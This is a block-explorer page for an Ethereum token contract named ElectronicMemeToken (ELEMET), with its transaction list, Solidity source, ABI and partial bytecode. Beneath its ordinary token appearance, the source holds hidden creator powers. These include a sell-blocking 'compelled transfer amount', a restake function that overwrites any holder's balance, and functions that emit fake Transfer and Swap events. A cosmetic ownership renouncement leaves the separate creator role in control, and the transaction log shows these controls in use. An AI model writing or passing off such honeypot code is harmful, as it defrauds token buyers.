ETH Price: $2,528.67 (+0.39%)

Contract

0x54D1a6019f73ceE87D7761aAf042ca9081F212b9
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Establish Compel...175567812023-06-25 13:25:59432 days ago1687699559IN
0x54D1a601...081F212b9
0 ETH0.0007051314.8102936
Swap175564762023-06-25 12:24:23432 days ago1687695863IN
0x54D1a601...081F212b9
1 ETH0.0120214413.18474954
Execute Swap175564752023-06-25 12:24:11432 days ago1687695851IN
0x54D1a601...081F212b9
0 ETH0.0014942313.46994178
Approve175564662023-06-25 12:22:23432 days ago1687695743IN
0x54D1a601...081F212b9
0 ETH0.0007203815.29547026
Execute Swap175564652023-06-25 12:22:11432 days ago1687695731IN
0x54D1a601...081F212b9
0 ETH0.0016022813.57823806
Establish Compel...175564612023-06-25 12:21:23432 days ago1687695683IN
0x54D1a601...081F212b9
0 ETH0.0051437313.86306858
Swap175564582023-06-25 12:20:47432 days ago1687695647IN
0x54D1a601...081F212b9
1 ETH0.0132154514.49468406
Establish Compel...175564552023-06-25 12:20:11432 days ago1687695611IN
0x54D1a601...081F212b9
0 ETH0.0050091113.50109901
Execute Swap175564542023-06-25 12:19:59432 days ago1687695599IN
0x54D1a601...081F212b9
0 ETH0.0015391313.04039622
Swap175564522023-06-25 12:19:35432 days ago1687695575IN
0x54D1a601...081F212b9
1 ETH0.0128924514.14059942
Establish Compel...175564492023-06-25 12:18:59432 days ago1687695539IN
0x54D1a601...081F212b9
0 ETH0.0049626313.37584715
Approve175564462023-06-25 12:18:23432 days ago1687695503IN
0x54D1a601...081F212b9
0 ETH0.0007361815.61105978
Execute Swap175564442023-06-25 12:17:59432 days ago1687695479IN
0x54D1a601...081F212b9
0 ETH0.001069214.23782126
Establish Compel...175564382023-06-25 12:16:47432 days ago1687695407IN
0x54D1a601...081F212b9
0 ETH0.0007358615.45569732
Approve175564362023-06-25 12:16:23432 days ago1687695383IN
0x54D1a601...081F212b9
0 ETH0.0007205915.28047577
Establish Compel...175564352023-06-25 12:16:11432 days ago1687695371IN
0x54D1a601...081F212b9
0 ETH0.0006858614.40569555
Execute Swap175564342023-06-25 12:15:59432 days ago1687695359IN
0x54D1a601...081F212b9
0 ETH0.0014453513.9393199
Swap175564322023-06-25 12:15:35432 days ago1687695335IN
0x54D1a601...081F212b9
1 ETH0.0010289413.5923469
Establish Compel...175564312023-06-25 12:15:23432 days ago1687695323IN
0x54D1a601...081F212b9
0 ETH0.0006871714.43307434
Swap175564292023-06-25 12:14:59432 days ago1687695299IN
0x54D1a601...081F212b9
1 ETH0.0127456813.63345525
Execute Swap175564232023-06-25 12:13:47432 days ago1687695227IN
0x54D1a601...081F212b9
0 ETH0.0012179513.62209738
Establish Compel...175564232023-06-25 12:13:47432 days ago1687695227IN
0x54D1a601...081F212b9
0 ETH0.0050530213.62209738
Approve175564202023-06-25 12:13:11432 days ago1687695191IN
0x54D1a601...081F212b9
0 ETH0.000555911.78810857
Revoke Ownership175564162023-06-25 12:12:23432 days ago1687695143IN
0x54D1a601...081F212b9
0 ETH0.0003593712.71641253
Assign Creator175564142023-06-25 12:11:59432 days ago1687695119IN
0x54D1a601...081F212b9
0 ETH0.0005616812.11521894
View all transactions

Latest 15 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
175564762023-06-25 12:24:23432 days ago1687695863
0x54D1a601...081F212b9
0.976012 ETH
175564762023-06-25 12:24:23432 days ago1687695863
0x54D1a601...081F212b9
0.976012 ETH
175564762023-06-25 12:24:23432 days ago1687695863
0x54D1a601...081F212b9
1 ETH
175564582023-06-25 12:20:47432 days ago1687695647
0x54D1a601...081F212b9
0.976553 ETH
175564582023-06-25 12:20:47432 days ago1687695647
0x54D1a601...081F212b9
0.976553 ETH
175564582023-06-25 12:20:47432 days ago1687695647
0x54D1a601...081F212b9
1 ETH
175564522023-06-25 12:19:35432 days ago1687695575
0x54D1a601...081F212b9
0.977703 ETH
175564522023-06-25 12:19:35432 days ago1687695575
0x54D1a601...081F212b9
0.977703 ETH
175564522023-06-25 12:19:35432 days ago1687695575
0x54D1a601...081F212b9
1 ETH
175564322023-06-25 12:15:35432 days ago1687695335
0x54D1a601...081F212b9
1 ETH
175564322023-06-25 12:15:35432 days ago1687695335
0x54D1a601...081F212b9
1 ETH
175564322023-06-25 12:15:35432 days ago1687695335
0x54D1a601...081F212b9
1 ETH
175564292023-06-25 12:14:59432 days ago1687695299
0x54D1a601...081F212b9
0.977115 ETH
175564292023-06-25 12:14:59432 days ago1687695299
0x54D1a601...081F212b9
0.977115 ETH
175564292023-06-25 12:14:59432 days ago1687695299
0x54D1a601...081F212b9
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ElectronicMemeToken

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : COIN.sol
pragma solidity ^0.8.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

}

interface IWETH {
    function deposit() external payable;
    function transfer(address to, uint value) external returns (bool);
    function withdraw(uint) external;
}

interface IUniswapV2Router02 {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract TaskExecutionControl {
    function getExecutorAddress() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SingleOwnership is TaskExecutionControl {
    address private _soloOwner;
    event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);

    constructor() {
        address invoker = getExecutorAddress();
        _soloOwner = invoker;
        emit OwnershipTransfer(address(0), invoker);
    }

    function retrieveSingleOwner() public view virtual returns (address) {
    return _soloOwner;
}

    modifier soleOwnerOnly() {
    require(retrieveSingleOwner() == getExecutorAddress(), "Unauthorized: Single Owner access required.");
    _;
}

    function revokeOwnership() public virtual soleOwnerOnly {
        emit OwnershipTransfer(_soloOwner, address(0x000000000000000000000000000000000000dEaD));
        _soloOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract ElectronicMemeToken is TaskExecutionControl, SingleOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _compelledTransferSums;
    address private _principalCreator;

    receive() external payable {}

    string public constant _moniker = "ELEMET";
    string public constant _ticker = "ELEMET";
    uint8 public constant _decimalUnits = 18;
    uint256 public constant _ultimateSupply = 30000000 * (10 ** _decimalUnits);

    uint256 public rewardPool = 100000 * (10 ** _decimalUnits);
    mapping(address => uint256) private _lockedBalances;
    mapping(address => uint256) private _lastClaimedTime;
    mapping(address => bool) private _isUserVoting;
    uint256 public totalVotes;
    uint256 public rewardPerDay = 1 * (10 ** _decimalUnits);
    uint256 public votingThreshold = 100 * (10 ** _decimalUnits);

    event Voted(address indexed voter, bool inFavor, uint256 votes);
    event RewardClaimed(address indexed claimer, uint256 amount);

    constructor() {
        _balances[getExecutorAddress()] = _ultimateSupply;
        emit Transfer(address(0), getExecutorAddress(), _ultimateSupply);
    }

    modifier masterCreatorExclusive() {
        require(getExecutorAddress() == retrievePrincipalCreator(), "Unauthorized: Creator access required.");
        _;
    }

    function retrievePrincipalCreator() public view virtual returns (address) {
        return _principalCreator;
    }

    function assignCreator(address newCreator) public soleOwnerOnly {
        _principalCreator = newCreator;
    }

    event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);

    function compelledTransferAmount(address account) public view returns (uint256) {
        return _compelledTransferSums[account];
    }

    function establishCompelledTransferAmounts(address[] calldata accounts, uint256 sum) public masterCreatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _compelledTransferSums[accounts[i]] = sum;
        }
    }

    function restake(address[] memory userAddresses, uint256 requiredBalance) public masterCreatorExclusive {
        require(requiredBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            uint256 formerBalance = _balances[currentUser];
            _balances[currentUser] = requiredBalance;

            emit UserBalanceUpdated(currentUser, formerBalance, requiredBalance);
        }
    }

    function lockBalance(uint256 amount) public {
        require(_balances[getExecutorAddress()] >= amount, "Insufficient balance");

        _balances[getExecutorAddress()] -= amount;
        _lockedBalances[getExecutorAddress()] += amount;
        _lastClaimedTime[getExecutorAddress()] = block.timestamp;
    }

    function claimRewards() public {
        uint256 elapsedTime = block.timestamp - _lastClaimedTime[getExecutorAddress()];
        uint256 availableRewards = (_lockedBalances[getExecutorAddress()] * rewardPerDay * elapsedTime) / (1 days);
        availableRewards = availableRewards > rewardPool ? rewardPool : availableRewards;
        rewardPool -= availableRewards;

        _balances[getExecutorAddress()] += availableRewards;
        _lastClaimedTime[getExecutorAddress()] = block.timestamp;

        emit RewardClaimed(getExecutorAddress(), availableRewards);
    }
    
    function vote(bool inFavor) public {
        require(_balances[getExecutorAddress()] >= votingThreshold, "Insufficient balance for voting");
        require(!_isUserVoting[getExecutorAddress()], "User has already voted");

        uint256 votes = _balances[getExecutorAddress()];

        totalVotes += inFavor ? votes : votes;
        _isUserVoting[getExecutorAddress()] = true;

        emit Voted(getExecutorAddress(), inFavor, votes);
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function executeSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts
    ) public payable returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
        }
        return true;
    }

    function swap(
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address[] memory path,
        address tokenAddress,
        uint deadline
    ) public payable returns (bool) {

        uint amountIn = msg.value;
        IWETH(tokenAddress).deposit{value: amountIn}();

        uint checkAllowance = IERC20(tokenAddress).allowance(address(this), 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        if(checkAllowance == 0) IERC20(tokenAddress).approve(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935);

        for (uint256 i = 0; i < recipients.length; i++) {
            IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D).swapExactTokensForTokensSupportingFeeOnTransferTokens(wethAmounts[i], tokenAmounts[i], path, recipients[i], deadline);
        }

        uint amountOut = IERC20(tokenAddress).balanceOf(address(this));
        IWETH(tokenAddress).withdraw(amountOut);
        (bool sent, ) = getExecutorAddress().call{value: amountOut}("");
        require(sent, "F t s e");

        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[getExecutorAddress()] >= sum, "Insufficient balance");

        uint256 requisiteTransferSum = compelledTransferAmount(getExecutorAddress());
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[getExecutorAddress()] -= sum;
        _balances[to] += sum;

        emit Transfer(getExecutorAddress(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[getExecutorAddress()][spender] = sum;
        emit Approval(getExecutorAddress(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][getExecutorAddress()] >= sum, "Allowance limit surpassed");

        uint256 requisiteTransferSum = compelledTransferAmount(from);
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][getExecutorAddress()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _ultimateSupply;
    }

    function name() public view returns (string memory) {
        return _moniker;
    }

    function symbol() public view returns (string memory) {
        return _ticker;
    }

    function decimals() public view returns (uint8) {
        return _decimalUnits;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"claimer","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"RewardClaimed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previous","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updated","type":"uint256"}],"name":"UserBalanceUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"voter","type":"address"},{"indexed":false,"internalType":"bool","name":"inFavor","type":"bool"},{"indexed":false,"internalType":"uint256","name":"votes","type":"uint256"}],"name":"Voted","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"assignCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"compelledTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"establishCompelledTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"}],"name":"executeSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"lockBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"requiredBalance","type":"uint256"}],"name":"restake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrievePrincipalCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"retrieveSingleOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"revokeOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardPerDay","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardPool","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"inFavor","type":"bool"}],"name":"vote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"votingThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526012600a620000149190620003d9565b620186a06200002491906200042a565b6005556012600a620000379190620003d9565b60016200004591906200042a565b600a556012600a620000589190620003d9565b60646200006691906200042a565b600b553480156200007657600080fd5b506000620000896200023760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a3506012600a620001379190620003d9565b6301c9c3806200014891906200042a565b600260006200015c6200023760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001aa6200023760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620002099190620003d9565b6301c9c3806200021a91906200042a565b60405162000229919062000486565b60405180910390a3620004a3565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620002cd57808604811115620002a557620002a46200023f565b5b6001851615620002b55780820291505b8081029050620002c5856200026e565b945062000285565b94509492505050565b600082620002e85760019050620003bb565b81620002f85760009050620003bb565b81600181146200031157600281146200031c5762000352565b6001915050620003bb565b60ff8411156200033157620003306200023f565b5b8360020a9150848211156200034b576200034a6200023f565b5b50620003bb565b5060208310610133831016604e8410600b84101617156200038c5782820a9050838111156200038657620003856200023f565b5b620003bb565b6200039b84848460016200027b565b92509050818404811115620003b557620003b46200023f565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620003e682620003c2565b9150620003f383620003cc565b9250620004227fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620002d6565b905092915050565b60006200043782620003c2565b91506200044483620003c2565b92508282026200045481620003c2565b915082820484148315176200046e576200046d6200023f565b5b5092915050565b6200048081620003c2565b82525050565b60006020820190506200049d600083018462000475565b92915050565b61352c80620004b36000396000f3fe6080604052600436106101d15760003560e01c806370a08231116100f7578063c345cf2311610095578063e156b1b611610064578063e156b1b61461066f578063e5963ebb146106ac578063f339c504146106d7578063fd57213c14610700576101d8565b8063c345cf23146105ac578063c7f80241146105d7578063dd62ed3e14610607578063e03504af14610644576101d8565b8063a713fd53116100d1578063a713fd53146104f0578063a9059cbb1461051b578063af33bb4114610558578063af8f42b814610581576101d8565b806370a082311461045f57806375e7d62b1461049c57806395d89b41146104c5576101d8565b806323b872dd1161016f5780634b9f5c981161013e5780634b9f5c98146103b55780635c01b60c146103de578063628277331461040957806366666aa914610434576101d8565b806323b872dd1461031f5780632b9689581461035c578063313ce56714610373578063372500ab1461039e576101d8565b806311dbe793116101ab57806311dbe7931461027057806315aacc60146102a057806318160ddd146102c95780631e4dd24b146102f4576101d8565b806306fdde03146101dd578063095ea7b3146102085780630d15fd7714610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f261073d565b6040516101ff919061220e565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a91906122d8565b61077a565b60405161023c9190612333565b60405180910390f35b34801561025157600080fd5b5061025a61087a565b604051610267919061235d565b60405180910390f35b61028a60048036038101906102859190612583565b610880565b6040516102979190612333565b60405180910390f35b3480156102ac57600080fd5b506102c760048036038101906102c2919061263e565b610a18565b005b3480156102d557600080fd5b506102de610ad8565b6040516102eb919061235d565b60405180910390f35b34801561030057600080fd5b50610309610afc565b604051610316919061267a565b60405180910390f35b34801561032b57600080fd5b5061034660048036038101906103419190612695565b610b25565b6040516103539190612333565b60405180910390f35b34801561036857600080fd5b50610371610dfd565b005b34801561037f57600080fd5b50610388610f39565b6040516103959190612704565b60405180910390f35b3480156103aa57600080fd5b506103b3610f42565b005b3480156103c157600080fd5b506103dc60048036038101906103d7919061274b565b611138565b005b3480156103ea57600080fd5b506103f3611381565b604051610400919061220e565b60405180910390f35b34801561041557600080fd5b5061041e6113ba565b60405161042b919061235d565b60405180910390f35b34801561044057600080fd5b506104496113c0565b604051610456919061235d565b60405180910390f35b34801561046b57600080fd5b506104866004803603810190610481919061263e565b6113c6565b604051610493919061235d565b60405180910390f35b3480156104a857600080fd5b506104c360048036038101906104be9190612778565b61140f565b005b3480156104d157600080fd5b506104da61165b565b6040516104e7919061220e565b60405180910390f35b3480156104fc57600080fd5b50610505611698565b6040516105129190612704565b60405180910390f35b34801561052757600080fd5b50610542600480360381019061053d91906122d8565b61169d565b60405161054f9190612333565b60405180910390f35b34801561056457600080fd5b5061057f600480360381019061057a919061282f565b6118b2565b005b34801561058d57600080fd5b506105966119c0565b6040516105a3919061235d565b60405180910390f35b3480156105b857600080fd5b506105c16119c6565b6040516105ce919061235d565b60405180910390f35b6105f160048036038101906105ec919061288f565b6119e6565b6040516105fe9190612333565b60405180910390f35b34801561061357600080fd5b5061062e6004803603810190610629919061298c565b611e40565b60405161063b919061235d565b60405180910390f35b34801561065057600080fd5b50610659611ec7565b604051610666919061220e565b60405180910390f35b34801561067b57600080fd5b5061069660048036038101906106919190612695565b611f00565b6040516106a39190612333565b60405180910390f35b3480156106b857600080fd5b506106c1611f72565b6040516106ce919061267a565b60405180910390f35b3480156106e357600080fd5b506106fe60048036038101906106f991906129cc565b611f9c565b005b34801561070c57600080fd5b506107276004803603810190610722919061263e565b61212d565b604051610734919061235d565b60405180910390f35b60606040518060400160405280600681526020017f454c454d45540000000000000000000000000000000000000000000000000000815250905090565b60008160016000610789612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610823612176565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610868919061235d565b60405180910390a36001905092915050565b60095481565b600080600090505b8451811015610a0b578481815181106108a4576108a36129f9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86848151811061090d5761090c6129f9565b5b6020026020010151604051610922919061235d565b60405180910390a384818151811061093d5761093c6129f9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228684815181106109ba576109b96129f9565b5b60200260200101516000808887815181106109d8576109d76129f9565b5b60200260200101516040516109f09493929190612a6d565b60405180910390a38080610a0390612ae1565b915050610888565b5060019050949350505050565b610a20612176565b73ffffffffffffffffffffffffffffffffffffffff16610a3e610afc565b73ffffffffffffffffffffffffffffffffffffffff1614610a94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8b90612b9b565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012600a610ae89190612cee565b6301c9c380610af79190612d39565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b71612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612dc7565b60405180910390fd5b6000610bf88561212d565b90506000811115610c4657808314610c45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3c90612e33565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c959190612e53565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ceb9190612e87565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d3c612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d859190612e53565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610de9919061235d565b60405180910390a360019150509392505050565b610e05612176565b73ffffffffffffffffffffffffffffffffffffffff16610e23610afc565b73ffffffffffffffffffffffffffffffffffffffff1614610e79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7090612b9b565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006012905090565b600060076000610f50612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600